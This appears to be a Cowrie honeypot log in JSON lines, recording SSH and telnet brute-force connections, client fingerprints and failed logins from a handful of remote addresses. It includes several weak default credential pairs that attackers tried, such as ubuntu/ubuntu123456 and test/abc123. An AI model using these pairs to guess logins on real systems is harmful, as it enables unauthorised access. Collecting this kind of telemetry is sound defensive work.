{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35182,"dst_ip":"10.17.0.5","dst_port":23,"session":"424baaabb249","protocol":"telnet","message":"New connection: 62.210.97.77:35182 (10.17.0.5:23) [session: 424baaabb249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:04.262331Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:04.364084Z","src_ip":"176.65.132.254","session":"7bcb00be78e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.016630411148071,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:05.888779Z","src_ip":"38.54.119.93","session":"a32d1aa3dbb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35196,"dst_ip":"10.17.0.5","dst_port":23,"session":"23aeb345b366","protocol":"telnet","message":"New connection: 62.210.97.77:35196 (10.17.0.5:23) [session: 23aeb345b366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:05.968975Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36136,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff67352bcab3","protocol":"ssh","message":"New connection: 176.65.132.254:36136 (10.17.0.5:22) [session: ff67352bcab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:06.763616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:06.768091Z","src_ip":"176.65.132.254","session":"ff67352bcab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:06.851922Z","src_ip":"176.65.132.254","session":"ff67352bcab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:07.136095Z","src_ip":"176.65.132.254","session":"ff67352bcab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":61548,"dst_ip":"159.203.135.109","dst_port":22,"session":"143b7da2fe69","protocol":"ssh","message":"New connection: 152.32.189.59:61548 (159.203.135.109:22) [session: 143b7da2fe69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:07.144540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:07.155588Z","src_ip":"152.32.189.59","session":"143b7da2fe69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:07.470186Z","src_ip":"152.32.189.59","session":"143b7da2fe69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.95318841934204,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:08.062484Z","src_ip":"62.210.97.77","session":"dfaf14a40053","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:08.239382Z","src_ip":"176.65.132.254","session":"ff67352bcab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matt","password":"admin","message":"login attempt [matt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:08.394207Z","src_ip":"152.32.189.59","session":"143b7da2fe69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35210,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e8c5e1d48f3","protocol":"telnet","message":"New connection: 62.210.97.77:35210 (10.17.0.5:23) [session: 3e8c5e1d48f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:08.400274Z"}
{"eventid":"cowrie.session.closed","duration":36.802717447280884,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:08.980345Z","src_ip":"62.210.97.77","session":"23441bca5939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.95070028305054,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:09.350171Z","src_ip":"134.209.8.29","session":"d79a2ad1c63d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:09.624043Z","src_ip":"152.32.189.59","session":"143b7da2fe69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.95536732673645,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:10.130553Z","src_ip":"62.210.97.77","session":"0e1b6298f9ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.31196594238281,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:10.531497Z","src_ip":"62.210.97.77","session":"cbe37c2e4095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36148,"dst_ip":"10.17.0.5","dst_port":22,"session":"38b9cc9a412d","protocol":"ssh","message":"New connection: 176.65.132.254:36148 (10.17.0.5:22) [session: 38b9cc9a412d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:10.984550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:10.988587Z","src_ip":"176.65.132.254","session":"38b9cc9a412d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:11.070152Z","src_ip":"176.65.132.254","session":"38b9cc9a412d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:11.317370Z","src_ip":"176.65.132.254","session":"38b9cc9a412d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60802,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa9ef3c9dc7f","protocol":"telnet","message":"New connection: 62.210.97.77:60802 (10.17.0.5:23) [session: aa9ef3c9dc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:11.460135Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60806,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe59cf4bc4f","protocol":"telnet","message":"New connection: 62.210.97.77:60806 (10.17.0.5:23) [session: ffe59cf4bc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:12.097341Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60822,"dst_ip":"10.17.0.5","dst_port":23,"session":"b677719102cc","protocol":"telnet","message":"New connection: 62.210.97.77:60822 (10.17.0.5:23) [session: b677719102cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:12.241139Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:12.402604Z","src_ip":"176.65.132.254","session":"38b9cc9a412d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60824,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ecbe02ff86","protocol":"telnet","message":"New connection: 62.210.97.77:60824 (10.17.0.5:23) [session: 02ecbe02ff86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:12.571843Z"}
{"eventid":"cowrie.session.closed","duration":120.00129389762878,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:12.620012Z","src_ip":"165.232.131.181","session":"c9148cc324cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.542460680007935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:12.755621Z","src_ip":"62.210.97.77","session":"8435ae14487b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.942912578582764,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:12.898187Z","src_ip":"62.210.97.77","session":"563ea071b658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48969006538391,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:12.941355Z","src_ip":"62.210.97.77","session":"4df4c975998c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50706,"dst_ip":"10.17.0.5","dst_port":22,"session":"e706812320b5","protocol":"ssh","message":"New connection: 176.65.132.254:50706 (10.17.0.5:22) [session: e706812320b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:14.715586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:14.721356Z","src_ip":"176.65.132.254","session":"e706812320b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:14.804312Z","src_ip":"176.65.132.254","session":"e706812320b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:15.053572Z","src_ip":"176.65.132.254","session":"e706812320b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:16.168825Z","src_ip":"176.65.132.254","session":"e706812320b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46290,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd1164dfd4fc","protocol":"telnet","message":"New connection: 38.54.119.93:46290 (10.17.0.5:23) [session: cd1164dfd4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:17.527155Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60828,"dst_ip":"10.17.0.5","dst_port":23,"session":"1078197210ee","protocol":"telnet","message":"New connection: 62.210.97.77:60828 (10.17.0.5:23) [session: 1078197210ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:17.863702Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60842,"dst_ip":"10.17.0.5","dst_port":23,"session":"9509eb11bee0","protocol":"telnet","message":"New connection: 62.210.97.77:60842 (10.17.0.5:23) [session: 9509eb11bee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:18.252702Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50720,"dst_ip":"10.17.0.5","dst_port":22,"session":"07c8f1d8b4ff","protocol":"ssh","message":"New connection: 176.65.132.254:50720 (10.17.0.5:22) [session: 07c8f1d8b4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:18.761578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:18.766386Z","src_ip":"176.65.132.254","session":"07c8f1d8b4ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:18.847613Z","src_ip":"176.65.132.254","session":"07c8f1d8b4ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:19.092533Z","src_ip":"176.65.132.254","session":"07c8f1d8b4ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.878840684890747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:19.684340Z","src_ip":"62.210.97.77","session":"21d6190af676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:20.175958Z","src_ip":"176.65.132.254","session":"07c8f1d8b4ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56720,"dst_ip":"159.203.135.109","dst_port":23,"session":"fabfb297c154","protocol":"telnet","message":"New connection: 134.209.8.29:56720 (159.203.135.109:23) [session: fabfb297c154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:21.936776Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45802,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cb60fc4a0f8","protocol":"ssh","message":"New connection: 176.65.132.254:45802 (10.17.0.5:22) [session: 6cb60fc4a0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:22.678222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:22.682899Z","src_ip":"176.65.132.254","session":"6cb60fc4a0f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:22.768458Z","src_ip":"176.65.132.254","session":"6cb60fc4a0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42508,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1a2517143fd","protocol":"telnet","message":"New connection: 62.210.97.77:42508 (10.17.0.5:23) [session: a1a2517143fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:22.954641Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:23.038228Z","src_ip":"176.65.132.254","session":"6cb60fc4a0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42514,"dst_ip":"10.17.0.5","dst_port":23,"session":"093f6c7fa0b9","protocol":"telnet","message":"New connection: 62.210.97.77:42514 (10.17.0.5:23) [session: 093f6c7fa0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:23.696228Z"}
